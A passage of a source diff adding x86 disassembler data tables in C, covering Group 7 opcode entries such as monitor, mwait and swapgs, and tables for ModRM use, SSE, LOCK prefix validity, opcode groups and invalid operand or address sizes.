+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 6x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 7x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 8x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* 9x */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* Ax */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* Bx */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* Cx */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { NOGROUP, CPU_PRESCOTT, ITYPE_SYSTEM, "monitor", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PRESCOTT, ITYPE_SYSTEM, "mwait", NOARGS, NOCOND, NOCHANGE, SERIALIZE_ALL, IGNORED }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* Dx */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* Ex */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { X86_Group_7, GROUP }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP }, // xF
+
+ /* Fx */
+ { X86_Group_7, GROUP }, // x0
+ { X86_Group_7, GROUP }, // x1
+ { X86_Group_7, GROUP }, // x2
+ { X86_Group_7, GROUP }, // x3
+ { X86_Group_7, GROUP }, // x4
+ { X86_Group_7, GROUP }, // x5
+ { X86_Group_7, GROUP }, // x6
+ { X86_Group_7, GROUP }, // x7
+ { NOGROUP, CPU_AMD64, ITYPE_SYSTEM, "swapgs", { OPTYPE_KERNELBASE_MSR | OP_MSR | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { X86_Group_7, GROUP }, // x9
+ { X86_Group_7, GROUP }, // xA
+ { X86_Group_7, GROUP }, // xB
+ { X86_Group_7, GROUP }, // xC
+ { X86_Group_7, GROUP }, // xD
+ { X86_Group_7, GROUP }, // xE
+ { X86_Group_7, GROUP } // xF
+};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// Sanity checking tables
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+#define S2 1 // SSE2
+#define S3 2 // SSE3
+BYTE X86_ModRM_1[0x100] =
+{
+ // x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
+ /* 0x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 1x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 2x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 3x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 6x */ 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0,
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 8x */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Cx */ 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Dx */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Fx */ 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1
+};
+BYTE X86_ModRM_2[0x100] =
+{
+ // x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
+ /* 0x */ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1,
+ /* 1x */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,
+ /* 2x */ 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 4x */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* 5x */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* 6x */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* 7x */ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1,
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 9x */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* Ax */ 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1,
+ /* Bx */ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1,
+ /* Cx */ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Dx */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* Ex */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* Fx */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0
+};
+
+BYTE X86_SSE_2[0x100] =
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 1x */ 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0,
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 5x */ 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1,
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1,
+ /* 7x */ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1,
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Cx */ 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Dx */ 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ex */ 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Fx */ 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0
+};
+
+// Indicates if a LOCK prefix is allowed
+// The following are allowed:
+// add, adc, and, btc, btr, bts, cmpxchg, cmpxchg8, dec, inc,
+// neg, not, or, sbb, sub, xor, xadd, xchg
+#define GR 2
+BYTE X86_LockPrefix_1[0x100] =
+{
+ // x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
+ /* 0x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 1x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 2x */ 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0,
+ /* 3x */ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 8x */ GR, GR, GR, GR, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Cx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Dx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Fx */ 0, 0, 0, 0, 0, 0, GR, GR, 0, 0, 0, 0, 0, 0, GR, GR
+};
+
+BYTE X86_LockPrefix_2[0x100] =
+{
+ // x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
+ /* 0x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 1x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,
+ /* Bx */ 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, GR, 1, 0, 0, 0, 0,
+ /* Cx */ 1, 1, 0, 0, 0, 0, 0, GR, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Dx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ /* Fx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
+};
+
+BYTE X86_LockPrefix_Groups[17][8] =
+{
+// x0 x1 x2 x3 x4 x5 x6 x7
+ { 1, 1, 1, 1, 1, 1, 1, 0 }, // group 1
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 2
+ { 0, 0, 1, 1, 0, 0, 0, 0 }, // group 3
+ { 1, 1, 0, 0, 0, 0, 0, 0 }, // group 4
+ { 1, 1, 0, 0, 0, 0, 0, 0 }, // group 5
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 6
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 7
+ { 0, 0, 0, 0, 1, 1, 1, 1 }, // group 8
+ { 0, 1, 0, 0, 0, 0, 0, 0 }, // group 9
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 10
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 11
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 12
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 13
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 14
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 15
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 16
+ { 0, 0, 0, 0, 0, 0, 0, 0 }, // group 17
+};
+
+#define X86_MAX_GROUP 19
+BYTE X86_Groups_1[0x100] = // one-byte opcodes
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0x */
+ /* 1x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 1x */
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 2x */
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 3x */
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 6x */
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */
+ /* 8x */ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, /* 8x */
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 9x */
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ax */
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */
+ /* Cx */ 2, 2, 0, 0, 0, 0, 12, 12, 0, 0, 0, 0, 0, 0, 0, 0, /* Cx */
+ /* Dx */ 2, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Dx */
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ex */
+ /* Fx */ 0, 0, 0, 0, 0, 0, 3, 3, 0, 0, 0, 0, 0, 0, 4, 5 /* Fx */
+};
+
+// 19 = Group P
+// 20 = 3DNow
+BYTE X86_Groups_2[0x100] = // two-byte opcodes
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 6, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 19, /* 0x */
+ /* 1x */ 0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 0, 0, 0, 0, /* 1x */
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 2x */
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 3x */
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 6x */
+ /* 7x */ 0, 13, 14, 15, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 8x */
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 9x */
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, /* Ax */
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 8, 0, 0, 0, 0, 0, /* Bx */
+ /* Cx */ 0, 0, 0, 0, 0, 0, 0, 9, 0, 0, 0, 0, 0, 0, 0, 0, /* Cx */
+ /* Dx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Dx */
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ex */
+ /* Fx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* Fx */
+};
+
+// Indicate which 1-byte opcodes are invalid with a 16-bit operand size
+BYTE X86_Invalid_Op16_1[0x100] =
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0x */
+ /* 1x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 1x */
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 2x */
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 3x */
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 6x */
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 8x */
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 9x */
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ax */
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */
+ /* Cx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Cx */
+ /* Dx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Dx */
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ex */
+ /* Fx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* Fx */
+};
+
+// Indicate which 2-byte opcodes are invalid with a 16-bit operand size
+BYTE X86_Invalid_Op16_2[0x100] =
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0x */
+ /* 1x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 1x */
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 2x */
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 3x */
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */
+ /* 6x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 6x */
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 8x */
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 9x */
+ /* Ax */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ax */
+ /* Bx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */
+ /* Cx */ 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, /* Cx */
+ /* Dx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Dx */
+ /* Ex */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* Ex */
+ /* Fx */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* Fx */
+};
+
+// Indicate which 1-byte opcodes are invalid with a 64-bit address size
+BYTE X86_Invalid_Addr64_1[0x100] =
+{
+ /* x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF */
+ /* 0x */ 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, /* 0x */
+ /* 1x */ 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, /* 1x */
+ /* 2x */ 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, /* 2x */
+ /* 3x */ 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, /* 3x */
+ /* 4x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 4x */
+ /* 5x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 5x */
+ /* 6x */ 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 6x */
+ /* 7x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 7x */
+ /* 8x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 8x */
+ /* 9x */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, /* 9x */
